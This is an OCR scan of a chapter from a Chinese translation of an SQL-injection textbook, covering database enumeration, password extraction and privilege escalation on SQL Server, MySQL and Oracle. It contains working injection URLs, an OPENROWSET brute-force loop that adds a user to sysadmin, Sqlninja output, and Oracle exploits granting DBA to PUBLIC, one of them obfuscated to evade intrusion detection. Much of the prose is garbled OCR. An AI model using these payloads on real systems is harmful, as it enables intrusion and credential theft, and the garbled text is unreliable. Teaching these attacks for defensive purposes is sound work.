I 12 1] Book | SQL Injection Attacks [50

[maser | |

{ " tempdb H

[ Jlmoas |
[ Jmser |

[ Jleser |

& 4-11 {tﬁl UNION tﬁzéﬁx%mmﬁ DBMS J:Efm’rﬁﬁﬁﬁ

FRRIEAEE | ZCFRI A S P BA R T BB 5% . R R, master B R B &H
BREZ —, CAE T HBIARIE M TEHIE(IER A TRINIZ #IH sysdatabases ! ). e-shop
BRERRRGEAE, BRET TSN FH SR EEFTERERIE). 5IEh
HABIRPER SQL Server BRI A, WA KB E®%., WE LABWIRE T ARSOERE, B4
X B X 4 IEAERRAR N AR R —A, AT F5I#H.

SELECT DE_NAME ()

HTHRENERE, AERINMKBEECHTLENE, RPASTRNMBENSE. SI%
PEEHH —IKE R sysobjects (I, HHRIFEETRIBENER. 4R, Hhaas TR
ERMNATEENYSE, FUBRMNTEEEITEE A CBNEBITEEE N Uskerk A/ s XKzt
B BBRBAEE— SRR e-shop BARAEMKE, WEEAN FFIEH:
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SELECT name FRCM e-shop.. sysobjects WHERE xtype='U'

REAE, XA URL 20°F Frn:

http://www.victim.com/products.asp?id=12+union+select+null, name,null, null
+from+te-shop..sysobjects+where+xtype%3D'U'--

I [ ) BT TR 5 P 4-12 E?E?J‘Hﬁﬁ%%‘fu
_} .IItII'IIlIH'II Vl. 7 i J

| D H Type Il Description |

| 12 [l Book " SQL Injection Attacks

" tems

II customers

" sales

“ transactions

"messagcs

Bla-12 MR SRR A &
AR, EPHFE—BEHEIE, customers F transactions A B & AE TR B AR A !

ARBUXEHIR, BT RTFERBXLERATNF. BRAOMTAPFAFR KRS 2 2@,
customers)$l & K k. FHEHES —Fhi7ik:

SELECT name FROM e-shop..syscolumns WHERE id=( SELECT name FROM
e-shop..sysobjects WHERE name=' customers')

A RAVFE 1 SELECT HEWHHKE T 5 — SELECT #i#]. RITHLER
e-shop..syscolumns F /] name FE, HPAE e-shop FBERFTHF. BT R3 customers &
FRFIBIGE, ETERNMEA id FBIFM—4% WHERE 74), % TfERT syscolumns LA
{EaerE— R 5 PT R . BELLRIEWR id BB? B4 sysobjects 751 Y A BT 340 2 B 40
R id RARIR, BTUARNIFEIEPERSL N customers [ id 8, X#EH 4 SELECT B
YRS o IRANTE XK B 230 T B X P 82K (joining table), T AT LAfE B T 512 #1H$2 BUAH 7]
AR B -

133
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SELECT a.name FROM e-shop..syscolumns a, e-shop..sysobjects b WHERE b.name ="'
customers' AND a.id=b.id

ANERAW- -7, BRENTHAESE 413 BRORERLL.

; :} Fic hn 0m Yery secure app 1:( T Mn 10 !l Inrl lml | plnlu

3 (2 &

|ID " Type H Description |

I 12 " Book "SQL Injection Attacks

[ |

o |

first_name

" last_name

password

address

B 4-13  RThBEEERT 5]

AREH, BABECLEET customers XHHFIZ. BRITTUBREZLAOSE L
FREE, PR LU 55— UNION SELECT & B4, XA U B s w1 b i Type
F Description B, it F%| URL s£3Li% H 45

http://www.victim.com/products.asp?id=12+union+select+null s login, password,
null+from+e-shop.. Customers--

AR, BAVXKEEANBEHPEHTHANIL. %%(@ﬁ?ﬁﬂ‘]’ﬁ%ﬂ@ﬁﬁ)ﬁﬂﬁ 4-14
FRERKEE.

BT AR R R —MRKA I FIR . B A2NRAZRF XA 93 (clear text)
TR B BEAFAE I D& . 3B AT LUE A IR B AR M R & A 2 0 I A . ARt 3)
HAEbIE, E5ESRT LTRSS VRE M IR — N EX R B(KE LR IE—4 [ E).
BATEHE B K 1k
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oft Internet Explorer

r- IR :;_' ¥ e e

hittp: //veve, victim. com/products. asp 2id=1 2mnbn+sebcl+nul_password, i+

iVICTIM.COM

I SQL Injection Attacks [l50

12 ||Book

“ charlessmith " lovegiants " ]
I ” lydiaclayton " s3kr3tl ” 4'
ml bemardjones ” passwOrd123 || J

L ” mikemcrmillan H charl3n3

" claudiablair " apollo11

IRERET A7

ERAmARREESEERYOS
R B R 6 35 e (RAR A A Z Q3 i T AE B[R LA £ o0 45 R)& 1t
BHRREFES, EAERRFTLPET, BANRBEH) BB R $ IHGHH, X
3 5 Z A K 0GB R H R A0 A e SR I,

A AL P 0 AT RN ANMETERRNESBS T & /48
I8 T4, BTvA— SR b s (Fadm R A8 64 K ) R L # victim.com £ &4 A 7 ik
PR, B2k B S A K AR ATK (P o £ B ARAT R ALA. e-mail). ARIE
victim.com A4t B A6 RE], € T LBtk iAo 6 AARATH R .

PRk, doRIEATH Web fi B SHAR A H BILBA P IKIE, AL AR
oA B A X GEAE &, A bR BIORERAL(E AP P H A P 04 h B %
KESTFH P ERASHM). ZRBALESHEFBM, RMR L e)H:
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o BE-AMBMEE, BRI AR ETRERIHEAE.

o BRI HEL R A ] — M A (AR R AR

Ak 0 Aya A i dm AE 0 A AR AR ALK EATA PR, R RA A PR
Bty 0 A thob Al I B AR A A AT AR, CIRRBET —Fr oY PR g
IR TebA{iis &, BHRFCMERRFIHE DL, LARREARNSGE.

AR A 49 Fok e, RER#M MDS5. XNUFCLBEAATZI RS AHE.
SHA1 2t & & LA R FHEA 09 M, © RILA A ER(L4 SHA256 f= SHAS12)E %
FAT B Rt FMmEA EHN SN, BAXEE R ALEMEESLT SQL &
AKE(REEN, BEMNLEFE 8 FHE IENGBEMMT X)), BEHBEANTES>T
Fur, EMNESRAEEBRY AEEZ L.

462 MysQL

FE MySQL ', BUESHE FEH R EUSE A — Fh - R EERIBIRE SR, R
FEEmE. 57, BREREEEL.
WEBARAMENRBTEARNA L. A TAENZ —RREER:

SELECT user();

SELECT current_user;

BT H 2T MySQL ERI¥ERE, " TIIEARRIHAEERBR):
SELECT distinct(db) FROM mysgl.db

IR B AR, BT MySQL 4 5.0 SRE M4, AR LUEA information
_schema i biE A T 51 4 28 R IREUH [A] 145 B

SELECT schema_name FROM information_schema.schemata;

# ) information_schema AN ERESW. RRIIBEEE, BXEAFT —IE
(Hei customers_db)E RRIBH M. ATLAHA FHIEHRINES.

SELECT table_schema, table_name FROM information schema.tables WHERE
table schema=' customers_db’

W RAREUTTH BB E M T &, B4 A T4 8 WHERE 1B AT . f ol geARME 0 T &2k

SELECT table schema, table_name FROM information_schema.tables WHERE
table_schema!='mysqgl' AND table_schema!=' information_schema’'

ZEHERER T BT mysql #l information_schema X# /N BEIWEZ SMIFAR, B
HXFAEEENRPAGERINMEENGR. RIBEMRZE, ETRAERY, TEER
Sk BT )BT mysql M information_schema (13 :

SELECT table schema, table name column_name FROM information schema.columns




WHERE table schema!='mysgl’

®AE FIFESQLIEAN 137

AND table_schema!=' information_ schema'

LA HHR AN XA R RS TR, eNeEE— M EBEEY, T

N7k
mysgl> SELECT table_schema, table name, column FROM
information schema.columns WHERE table_schema != 'mysgl' AND
table_schema I= 'information_schema':
tmmmm e e e T Fomm———————————— +
| table_schema | table name | column_name
tmm————————————— Fm——m e ———————— +
| shop | customers | id |
| shop | customers | name |
| shop | customers | surname |
| shop | customers | login |
| shop | customers | password |
| shop | customers | address
| shop | customers | phone |
| shop | customers | email |
<snip>
e F———————— o — e +

24 rows in set (0.00 sec )

AR, R Web PLAH ALIFAT UNION SELECT #fE, M4 ixfrifiiy AR a8
DBMS M5tk ! sesh, mREEFRHA S - FHERIRES HCBRNBARNIINE,

QT LAE R T A

SELECT table schema, table name column_name FROM information_schema.columns

WHERE column name LIKE 'password' OR ceolumn_name LIKE 'credit_card'

AT Re SR B3 T B s O P 2

Fom e Fommm e
| table schema | table_name

fommmm e ————— fmm e —————
| shop | users

| mysgl | user

| financial | customers
e e T tmm e m——mmm o

2 row in set (0.03 sec)

fmm—m—— e — e +
| column_name |
fmmmmm————————— +
| password |
| Password |
| credit_card |

e — o +

information_schema AN L& ¥E M4, EEE 5EER AR P BUR &G 2 #BUE
FMER. fln, BAYESETEMHP BB, TTRIT IR

SELECT grantee,privilege_type,

is_grantable

/ /FROM information_schema.user_ privileges;

Z B WIR FIRALLT B A A
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| grantee | privilege type
e —— e ————

'root'@'localhost!?

+
|
+ +
I | SELECT | YES [
| 'root'@'localhost' | INSERT | YES |
| "root'@'localhost' | UPDATE | YES |
| 'root'@'localhost' | DELETE | YES |
| 'root'@'localhost' | CREATE | YES |
| *root'@'localhost' | DROP | YES
| 'root'@'localhost' | RELOAD | YES |
| "root'@'localhost' | SHUTDOWN | YES |
| 'root'@'localhost' | PROCESS | YES |
| "root'@'localhost' | FILE | YES
| 'root'®'localhost' | REFERENCES | YES |
| 'root'@'localhost' | INDEX | YES |

<snip>
W RAE TR BB A RS EE T B OBUBR T W] LA R T 5 2 )

SELECT grantee, table_schema, privilege type FROM

information_schema.schema privileges;

BT RIERS, RONEZEEEAETY TSR ERARNERMER, Rl 10 T4
PR EH. AT DERIREUE 8, BT #5 Bh ARk s O F F A T4 5 SO R A (T
BT, W15 http://pentestmonkey.net/cheat-sheets/3R B % &5 8.,

BRI, information_schema HIEA T MySQL 5 & 2 J& AR AS . 40 5 [ 1 2 5 HARR 4,
TSR E M, HARE T 8Bl RSE R LS . BATA LUX R R A S )
S MAFRETEREE BRI, BHIRBARSASIRMNGIRN -TkFdh, REFHWRERNTH
RIBARREZE . T @ — TR A B A % B R . 8 FFI A Ha] LR 2 5 3 30 4 81
BIEFESR:

SELECT database ()

BORPE R S RIFEE S AR E LA AR BR T . WHRE &% E MySQL #E H R+,
AR T FIE #RIRE

SELECT @@datadir

BEENFAHRAQEE DT REZ N MYD K30, Hlin, TR mysql B8 FEERIA R
— s MYD 3048

tables priv.MYD
host.MYD
help_keyword.MYD
columns priv.MYD
db.MYD



#a4FE FIAESALIEA
AT A R 5B SR B R R A E R AR

SELECT load file('databasename/tablename.MYD')

# R WA information_schema, MR NEMRAESA BRIIPATIZE . AINDEEE
B: load_file(3f 6 ELVFATHO) AFRERN T EANBENE, ZEH@@max_allowed_packet
ZEIEE. FTLLZEARANEH TA6E T KEEHRE.

4.6.3 Oracle

BIGEN AN —FTR: 4/56 DBMS 4 Oracle i, S/ #as$iE E#R . &/ Oracle
BB — AN EE S E — R R AT i) — AN B PR (BRATT — AROE ik A 52 A B3R U7 1) Oracle
rh O EE ) HLAY FH 7 ) 25 N 4RHE E R A AN R 3ERE. Bk, 5 SQL Server #1 MySQL
AN, FHREER AN TR R E .

BATHERBEMNBOABERFE R TLAH IR ENHREST, B8 28R ETH
AR

select table_name from user_tables;

ALY RiE U B EREET A RURRN AR

select owner, table_name from all tables;

W UMAS E L R T M ARKE R B ER D HIRAFIENTH, TR

select a.table name||'['||lcount(*) [|']="||num rows from user_ tab columns a ,
user tables b where a.table name= b.table name group by
a.table name,num_rows

EMP([8]=14

DUMMY [1]=1

DEPT([3]=4

SALGRADE [3]=5

AT DO BT AT W BT A R B HRARE R, BFEH P REUARTEIHTH
LU

select b.owner||'.'||a.table name||'['||count(*)||']="[|num_rows from
all tab_columns a, all tables b where a.table name=b.table_name group by

b.owner,a.table_ name,num rows
BUR, ATLLMASETKR SR SOR AR LUE S 5 b T RSO R, S0 T AR

select table_name||':"'||column_name||':'||data_typel|':'||column_id from
user_ tab_columns order by table_name,column_id

DEPT : DEPTNO:NUMBER: 1

DEPT : DNAME : VARCHAR?2: 2

DEPT:LOC:VARCHARZ:3

DUMMY : DUMMY : NUMBER: 1

139
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EMP:EMPNO :NUMBER: 1

EMP : ENAME : VARCHARZ2 : 2
EMP:JOB:VARCHARZ: 3

EMP :MGR:NUMBER: 4
EMP:BIRTHDATE: DATE: S

EMPF : SAL : NUMBER: &

EMP : COMM: NUMBER : 7

EMP: DEPTNO: NUMBER: 8
SALGRADE:GRADE: NUMBER:1
SALGRADE:LOSAL: NUMBER:Z2
SALGRADE:BISAL: NUMBER:3

HA— BB F R IR YT EIRAER SR, ATLLLAS B . B4k e iz ik,
THIERHEIZEI LETH P FINR. Oracle PEE 4 FARMB(SYSTEM. ROLE. TABLE i
COLUMN).

ZRER 2411 H P B R GEALR -

select * from user sys privs; —--show system privileges of the current user
TR 60 1 A LR

select * from user role privs; --show role privileges of the current user
DR AT P HIRAE AR -

select * from user_tab_privs;

SRE4 0 F P B UBLER -

select * from user_col_privs;

ZARBUFTA AT REMIBL IR SZR, B2 BRSO P user FRFH, W IR
RIPTH R -

select * from all_sys_privs
RIPTE A GBI

select * from all_role_privs
IRERFT A R BUPR -

select * from all tab_privs
IRELFTA SRR -

select * from all_col privs

BV BIRERASIR UL LT AREEE, B PRBIEMEEIEF P HIMER,
HARPER R R  TOIE R IR B HE R BTE R P IFIR. &AM BRANE
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BT AR R P AT

select username,created from all users order by created desc;
SCOTT 04-JAN-09

FHP 04-JAN-09

PLSQL 02-JAN-09

MONOCDEMO 29-DEC-08

DEMO1 29-DEC-08

ALEX 14-DEC-08

OWBSYS 13-DEC-08

FLOWS 030000 13-DEC-08

APEX_ PUBLIC_USER 13-DEC-08

i AT AARHE BT P B 08 FERR A SR A W) AR IS, #1201, 7E Oracle 10g Rel.2 Z JSHIRR A<,

VWil 1 AT T 31 SELECT SR R BER R P 2 RS A 04

SELECT name, password, astatus FROM sys.user$ where type#>0 and
length(password) =16 (priv), astatus (0O=open, 9= locked&expired)

5YS ADZ24A88BFC3B1BE7 0
SYSTEM BD3DOADE9E3FA34 0
OUTLN 4A3B55E08595C81 9

AT DA 22 35 ] ) R SRR sk AR 75 114, ASRE s 4 304 FE T = (L dn SYS)FIA

IEff 8. 7E Oracle 11g ', Oracle 4B T HHEH 04 MMBAE L, TAME D4 FAR
K% 9 (spared), &0 F Fizx:

SELECT name, spared4 FROM sys.user$ where type#>0 and length(spared)=62
SYS

5:1336FB26ACF58354164952E502B4F726FF8B5D382012D2E7B1ECO9C426R7

SYSTEM

S:38968EBCEC12026112B0010BCBA3ECC2FD278AFALTAE363FDD74674F2651

WER AT —RBERA P (BE OB @R PV R BER), 848 o] DAIE SR 4T

FHREF L HAMAEBIEE. B Oracle 10g Rel.2 BAK, Oracle $&4 T 3% B #u i & $8 FEF #) o

fE.

AR, AEBRERNEBBHIRA WM, BTUEEEEERIXER, WTFHR:

select table_ name, column_name,encryption_alg,salt from
dba_encrypted columns;

TABLE NAME COLUMN NAME ENCRYPTION ALG SAL
CREDITCARD CCNR AES256 NO
CREDITCARD CVE AES256 NQ
CREDITCARD VALID AESZ256 NO

WREHRILS, WAEE— RS BLEREH. ARYREH78 DBA KA,

T AR

141
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SQAL AT SBH

select grantee,granted role,admin option,default role from dba role privs

where granted_role='DBA'

#R:

FHRBETEGHBEERFEFAGE, ZRBE NP ERAFEAERNERGBAET)
R ERFEFHTRBAE, F2RNTUEA—EEFGAHTEL, RFELERELNB AT
I H: sqlmap. Bobcat #= bsql.

4.7 AR

FrE KB DBMS #5243 GL 130 Pl AT ERAF RO el w7 LLE A A
R T 36 BOALRR (B0, S B8 V7 )45 22 $uE R ERAT 45 52 BRAE RO RE D) KB B OF 2 I XS 47
fEERK . BMNBEMES DBMS WHRAE ZAMEIEE, EBATERKIHF a8 68T
AR A, EGRETR AREHF R A ERMBEENER. EA M X RERBEE,
0 B AT B 5 B B A R RS LR ST I R -

BEZ, BROABATNZHEMIE: $ITEANAR AR SEA S, HARZERT
DBA. :

AT 8 A R BT S R AR AT A A LR B R 1, b IR ER B G
B FIBHIRE, FERLAGOL T RATAT LAIRBER TG BIALR -

4.7.1 SQL Server

[l %t Microsoft SQL Server Bf, OPENROWSET fr 4 R ii# BIFHBF2Z —.
OPENROWSET 1Efl T SQL Server |, SLBLXHIFE OLE DB 38 (11 55— SQL Server)f]
— K& . DBA A ERBRTELEE LOEEE, CURE R K AERRABIRERFh
FB. ENHERTHE T REFENIHE. HAFHH OPENROWSET K77 & & Fix:

SELECT * FROM OPENROWSET {'SQLOLEDB', 'Network=DBMSSOCN';Address=10.0.2.2;
uid=foo;pwd=password’, 'SELECT columnl FROM tableA')

ERiEH)R AR foo EREIHBES 10.0.2.2 B SQL Server AT select columnl from
tabled E ], BANERIE ML R REIZENNSER. HER, foo £HuhtN 10.0.2.2 FI%IEE
B—AHEFP, AR E KA OPENROWSET B EHEFER 7. BAMCEFR, EHEENR foo
R P BIhAT Z W, BROVEL IR IERK 04 LMERIEGEED .
OPENROWSET 7£ SQL {F AP HBENA . A6 PRIV ERE N sa KB
A4, XEFERE=EANER:
o EMUEEEMT), OPENROWSET AJ0$8 #3047 7 8e i B8 BE L A BUEIE .
e OPENROWSET AY AT A P in MEHE A, &l B THAT A RER, T A MER
BF, 1% A P £ OPENROWSET i i 7 45 & AL PR -

e 7£ SQL Server 2000 Lk, Frfy /¥l ifA OPENROWSET: Tt SQL Server 2005
L BRAESL T B H .

XA SQL Server 2000 _t, AT LU ] OPENROWSET K4 112 sa 114 H42 FHBURR .
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Bln, HE FIIEA:

SELECT * FROM OPENROWSET ('SQLOLEDB', 'Network=DBEMSSOCN';
Address=;uid=sa;pwd=foo', "SELECT 1')

WR foo RIEMHIN S, MAMBITZE MR 1: EWROSANER, BABKRET
XA R -

Login failed for user 'sa'.

RERNAT —MBIEM sa NLSHIE HFILEEREERICE, SIEHIE, MER
2 7 IEMA 114, {80 LIEA sp_addsrvrolemember 77 it F23eKs F £ (7] {8 A system user k3%
BN ANZE sysadmin 4, XFEE AT LR S iR THBUBR . sp_addsrvrolemember 77 fiff it #2205 5
MW —ANRAF, —ARKEESREMBINAGRHE, A#4% sysadmin).

SELECT * FROM OPENROWSET ('SQLOLEDB', 'Network=DBMSSOCN;
Address=;uid=sa;pwd=passwlrd', 'SELECT 1; EXEC
master.dbo.sp_addsrvrolemember '‘'appdbuser'',''sysadmin''")

OPENROWSET ## % /bik[a]—%1], F A BE W+ SELECT 1| RUFHK . 7] LA AT
A A B AR R system_user FI{EBT, H5 T B0 IR HIFE 0 BOEB R DU R —NMER). W
RIVAAEERREZEHEE, WaTLUERSE 5 EABM SQL BiEHA. b, aUEAT
I, ZAEWE MERPPIITRENTRE. ©H EHWE—M2 4 OPENROWSET ZF )l [F
PP ZRFTR@q, REEIH@q %% xp_execresultset ¥ EAEAEILFE(ZE SQL Server
2000 &, BT R AR e RBATIZE .

DECLARE @q nvarchar (299);

SET @g = N'SELECT 1 FROM OPENROWSET (''SQLOLEDB'', ''Network=DBMSSOCN;
Address=;uid=sa;pwd=passwlOrd'', "'SELECT 1; EXEC
master.dbo.sp_addsrvrolemember '''''+system_user+'''"!

''""'sysadmin'''' )

EXEC master.dbo.xp_execresultset @g, N'master’

A

#Witdx, RA 4 B4 SQL Server L&A T iRAKIEMMXAT, sa P A T4, 120 R4
e XA, Windows Al P #= SQL Server il 7 (}b 4w sa)3y) ol it 448 B B5E, do RiZAZMIE A
MR %3 LB E 49 RA Windows B3EAE X, AR 4 #b8F R A Windows Al P 464845 FI#048 &, sa
PWRTR, Tl it RFBE R R RAAA & 2 R 5 FIAR IR A Windows A 7 (3o R deif
R P L6E). RitdeREATEMA TR SUTE], B TROSHMEK?,, —H B,

TAENT 51D FA R & AT R 69 A VGER X (B R E T RAETERAFH):

select serverproperty('IslntegratedSecurityOnly")
Fo R 337 R A 69 R A Windows BiEEX, AR Lix&iH:Ew 1, FRED 0.
B, FEBATROBMBGE RAIEN . BRME B RIT TS WA A RR
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S, (HFRATTET LU F — e gl Se L N #2009 e 3% TR, L4l Bobeat, Burp Intruder #0 Sqlninja(¥
A BEHGRD). FAILL Sqininja(W] LA http://sqlninja.sourceforge.net BT )1 B
4. HARBERNEEHASHEABRCEY A A REENHDT):

icesurfer@nightblade ~ % ./Sqlninja -m fingerprint

sglninja rel. 0.2.3-rl

Copyright (c) 2006-2008 icesurfer <r00t@northernfortress.net>
(+]1 Parsing configuration file...

{+] Target is: www.victim.com

What do you want to discover?

0 - Database version (2000/2005)

1 - Database user

2 - Database user rights

3 - Whether xp_cmdshell is working
> 2

(+] Checking whether user is member of sysadmin server role. ..

you are not an administrator.

Sqlninja {#f WAITFOR DELAY JREYE 477 &5 sysadmin 4 HIAR 5, BRAINE.
BT Sqlninja 34— #IC & (wordlist.txt STHF) I B H 2 A R AR

jcesurfer@nightblade ~ $ ./sglninja -m bruteforce -w wordlist.txt
Sqglninja rel. 0.2.3-rl
Copyright (c) 2006-2008 icesurfer <rQ0t@northernfortress.net>
[+] Parsing configuraticn file..........
[+] Target is: www.victim.com
[+] Wordlist has been specified: using dictionary-based bruteforce
[+] Bruteforcing the sa password. This might take a while
dba password is...: s3cr3t
bruteforce took 834 seconds
[+] Trying to add current user to sysadmin group

[+] Done! New connections will be run with administrative privileges!

W T ¢ BAEK Sqlninja FF) T EFHI DA I TR LRTHA S HNE] T sysadmin 41 7
i FH BR R A8 S0 E W IE 4T Sqlninja LLBETH A

icesurfer@nightblade ~ § ./sglninja -m fingerprint

Sqlninja rel. 0.2.3-rl

Copyright (c) 2006-2008 icesurfer <r00t@northernfortress.net>
(+] Parsing configuration file...

[+] Target is: 192.168.240.10

what do you to discover ?

0 - Database version (2000/2005)

1 - Database user
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2 - Database user rights
>2
[+] Checking whether user is member of sysadmin server role...
you are an administrator !

BHPFTET! BERNGAFREER, NI THEHHE.

{ERMIEE B S0ERHITR DR

N FRIA G ERT, HFNX—MEik o bt e e EREEL E—Fw R, &
FAEPSTREGHR, LRAFATEERFAL K RFLAE Web B 55 38 Ao 20 38 R TR
FHEOETETRERBEA., 2 RAPITR AR AL HGE— ik 28— 50 SQL
B9, TAREAN—FERHAERL TREA R A MK E, Chris Anley 7 3L 2002 4
493X “(more)Advanced SQL injection( & & 449 SQL 3ZA)” FHK3IA T X —InA,
Z_J&# Bobcat #= sqlninja I,

Bobcat(*T AA. www.northern-monkee.co.uk & F #)iZ 47 /£ Windows £, 48 7 —# &
FFANGTE, CEANEN, G HEAFENRBEERS SRS LT —FF i sh
(Out-Of-Band, OOB)i& 4 AEIKIR—TK Q. 41% ik 0 45 R ed A, X5 F A AH LKk sk
o4, KAV AT 4 Bi% 493146 Bobeat.

sqlninja %A —FP 440G R A BM F ik R R RNE WA, CEA—AEH, EEB
AR ERRAL R FHEABERET LA 04, FTEA—4 b sqlninja 4 49 5%
HE W TH], B EIKIKIK SQL Server 2000 _E oy # A F 24 K 44 0 4

declare !p nvarchar(99),@z nvarchar(10),@s nvarchar(99), @a
int, @b int, @ﬁ nvarchar (4000);
set Ra=1; set @b=1;
set @s=N'abcdefghijklmnopgrstuvwxyz0123456789"';
while @a<37 begin
while @b<37 begin
set @p=n''; -- We reset the candidate password;
set @z = substring(@s,@a,l); set @p=Qa+@z;
set @z = sbustring(@s,@b,1); set @p=Qp+@z;
set @g=N'select 1 from OPENROWSET (''SQLOLEDB''',
' 'Network=DBMSSOCN; Address=;uid=sa;pwd="+@p+N'"",
''select 1; exec master.dbo.sp addsrvrolemember
'rEf! o+ gystem user + N 'TUT. M Mausadmintfrtr Ny
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exec master.dbo.xp execresultset @qg,N'master';
set @b=@b+l;end;
set @b=1; set Ra=@a+l; end;

BEPATTHERER? BMAARFTHEAHIEET@s . AHITEEECLAH
TFERHT, LTUF R A K FEBRALELIE, NEARKRDCEREN T
CMEHLFH). BT RAEMNGET HAREGMER, SMNHAEEE@a @b 454,
EAANREEAI/E T ARG8T, WA T EEMARLOL, P4 TRE DA H A4
2| X F@p /5, ¥ OPENROWSET, % X447 sp_addsrvrolemember 7k it 42 A 18 35 4
W P (system_user)ifshu £ % 32 | 48 (sysadmin). %i# % OPENROWSET %if % Wit &
wWAFE, RMBEEHRE2]T ZEF@q ¥ 12 xp_execresultset HATE .

BARRA B, wREER oARLMRK, 4 KoK —FP B & H R
RIRGA M T k. #—F i, PITRABBAENRAGRKIBERSE S8y CPU
R, AmAEIZ T ik R A AR R & —FF IR M iE 65 k.

L, £FBRETRAEZHEATEHN DS, SREDHEAFE%46 CPU A
IR E 100%, WEAEPATIIRTRERE, KLOMKT %A 2 GREFE.

EEWMBAVERK, OPENROWSET B—&J HEA. RIEFNHS. BRITEBUARLH TR
WAE, MREBEE VLB MR B 2R R T . (B H AR 2 2T OPENROWSET
A AT I RFAET 0L 1 SQL Server. EHF T 52 #:

SELECT * FROM OPENROWSET ('SQLOLEDB', 'Network=DBMSSOCN"' ;Address=10.0.0.1;
uid=sa;pwd="', 'SELECT 1')

ZEWZERLL sa AP, F 04 mihk X 10.0.0.1 (1 SQL Server & MR IFiF k. EAEQIH
—MER—MBRARA P il XM E RTINS, RS S R RS
—MMERS, Z 5 AE AR SRR EUX S HE

FERFTHT BOAR S5 8% L3R FANR

B #8 OPENROWSET £ SQL Server BUFRRFA T B AMER, HEH AR —EE, MR
BHAREIRER S BEFEFRFNZLN T, BAERTHESTI—FHREHEE LM%,

B 158 P 440 5 T R 980 VR SR ARE P 498 1) O T IR 45 SR M RS R S, 8 MR AT B3
ZTHRIRR. RARS BB IEH BE HREM S MRS TS AN RSEEIR, B2EF
RUFTRSABRREZHA, ATIABHERBTRZ . TR, §AENERR
5528 HEAT WA T BR R UL S A7 7E TP e B LA R X S [ R 7S AT A e A MR A

BEXTEER, U SQL Server 2000 1 2005 55 H &2 B Bernhard Mueller £ HLEY
— AR IR, EALT sp_replwritetovarbin FEAEid R, 2008 4F 12 HZRIAKERE, SR
LI E RBURAEZER N EN EPATEERE. SREAGAA, A ZRR O E S
PUstdite. BIABEHEN, WMARRMRSBEITE. M—NEZ It RBR ZFMHETR. T
NN sp_replwritetovarbin F 25 W RFIH %I, X4 SBANTR HHBITEEN
shell fif%. Aif, RIMEIEALTIR—MELIRS K di(Denial of Service, DoS)&AfE, Hfblas
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RiZB i —E B0 ! AT LAYT iR www.securityfocus.com/bid/32710 LUREL A T ZIRIRME %
{iﬁ:J%Q

4.7.2 Oracle

#E Oracle ™, il Web RV i¥) SQL FE A N4 FHAR R AR RAE . A % Wb BRAR T+ 2et Jy i
YT PL/SQL N, TXMIEARA W, WEK % LS EE, RFIT —F PL/SQL AR
A, AT LA PL/SQL AR AR THR SR AN TE SR R 558 E RS RIE R G R 4

AT E PL/SQL VENK M| FR: {EHITE Oracle (] mod_plsql 41460 KILH) - ANHGiT
F%) URL J@7< T —# i@l driload fu(H Alexander Kornbrust KM F B 7iE. XA
¥ mod_plsql AFiTEE, BT Web H P 54 B\ T 51 URL R4 TH R -

http://www.victim.com/pls/dad/ctxsys.driload.validate_stmt?sglstmt=
GRANT+DBA+TO+PUBRLIC

£ SQL £ M ERFBIREAE 5 M L . KL BBUREAFH (AT M milworm.com KGR %)
AT FFEE:

(1) BIE—/MH DBA BRI AILAENNIGAT . XK DBA BUBRSEZRL e #E
Famiss., T— &R aENE— 52 B4 ) PL/SQL gt .

CREATE OR REPLACE FUNCTTON F1 return number
authid current user as

pragma autonomous_transaction;

BEGIN

EXECUTE IMMEDIATE 'GRANT DBA TO PUBLIC';
COMMIT;

RETURN 1;

END;

/

(2) BiZIFEHEANE— AR R E AT

exec sys.kupwSWORKER.main('x','YY' and l=userl2.fl - mytagl2');
(3) /8K DBA fita:

set role DBA

(4) M3t DBA:

revoke DBA from PUBLIC

HATS1E B RUTRIAE DBA BB, {HAIAF HBLLE Oracle IR R H .

IXFPOT I R i R B EHH CREATE PROCEDURE #%FR . David Litchfield 7 BlackHat DC
S EEXHZ RN T MR TR T RABMHAESRE, R, RATE
E®REH AN, RREEHEIRER T ECRRIRE, W s

and l=userl.fl
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T FI A A S LR
and 1=dbms_sgl.execute (1)
B EA RS RREAR R E W TR

DECLARE

MYC NUMBER;

BEGIN
MYC := DBEMS SQL.OPEN CURSOR;
DBMS SQL.PARSE (MYC,

'declare pragma autonomous_transaction;

begin execute immediate ''grant dba to public''; commit;end;',O0);
sys.KUPWSWORKER.MAIN("x"', ''"' and 1=dbms_sql.execute('| |myc||')-="};

END;

/

set role dba;

revaoke dba from public:

HER, 48T IDS(Intrusion Detection System, AZFYMIZRSE), nf LLINES B R 001564
Bixt “...grant dba to public...” BTN, W FIR:

DECLARE
MYC NUMBER;
BEGIN
MYC := DBMS SQL.OPEN CURSOR;
DBMS_SQL.PARSE (MYC, translate ('uzikpsz fsprjp pnmghgjgna msphapimwgh) ozrwh

zczinmz wjjzuwpmz (rsphm uop mg fnokwe ()igjjwm)zhu)'

'poiuztrewglkjhgfdsamnbvcexy ()=!"', 'abedefghijklmnopgrstuvwxyz''; :='),0);
s5ys.KUPWSWORKER.MAIN('x"',''' and l=dbms_sql.execute('||myc]|]|')-="');
END;

/
set role dba;
revoke dba from public;

4.8 HIRBFH L

BAVEA TR AW A 9 O XM Th K BGHIN, DREIibdmAR. &
PRI RIS REABAR, AR SEIEEM TR EFRARK LK DBMS HARH, #
RAERANTE IR FH LD LEEFD], AFK DBMS KA R IR A 28 FH A R ) 5L0%) K 47 i
AP A4, AR LURE], XEMHANEMABIERT . ERERRTHNA, BFE
BUEH BARPATEW . ORGP BE SRR, B2 &R 2R T A
YRBISEIRTT i
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BRFREA DL, o] DA 2 R TR I 58 70 B8 Sk KA 28 4 e A5 (810 B G 11
L RLMWHAR PR A 14 BON BT Bk R B B 2 Bk 9 B AR Rk P 38 3 75 R W) (A 28 %0
JIg %5 EAEFARTR] ) O 4, SREUITA R P 9 14388 3t T LLFS MR IE £ H AR &5 ch 3T AR B 5
HARE Y & -

4.8.1 SQL Server

U SRR #) Microsoft SQL Server, MAMIBMARKARR, HRSZHNB K. ERSHA
B, ERFEAEEARRA NGRS . LEFARREINEIEEN—Y 2 At
ENTLREURIE 2 1), EREITHEE.

X F SQL Server 2000 K, PAAIF47E master ¥ B # sysxlogins . Al F 7 #&
WIRA SRR =4

SELECT name,password FROM master.dbo. sysxlogins

XS A BT pwdencryptQpREUE R . IXBRBENRAFFHESL, FIFR4 salted P2
A, b salt —A 5 L8R R MR E . F a2 RIERK 5 SQL AR 58 1 sa [
il

O0x0100E21F79764287D299F09FD4B7EC97139C7474CA1893815231E9165D257ACER815111F2
AE3B359F40FB4F3CF4C

W A T 8 O R JLAN RS

e 0x0100: 3k

e E21F7976: salt

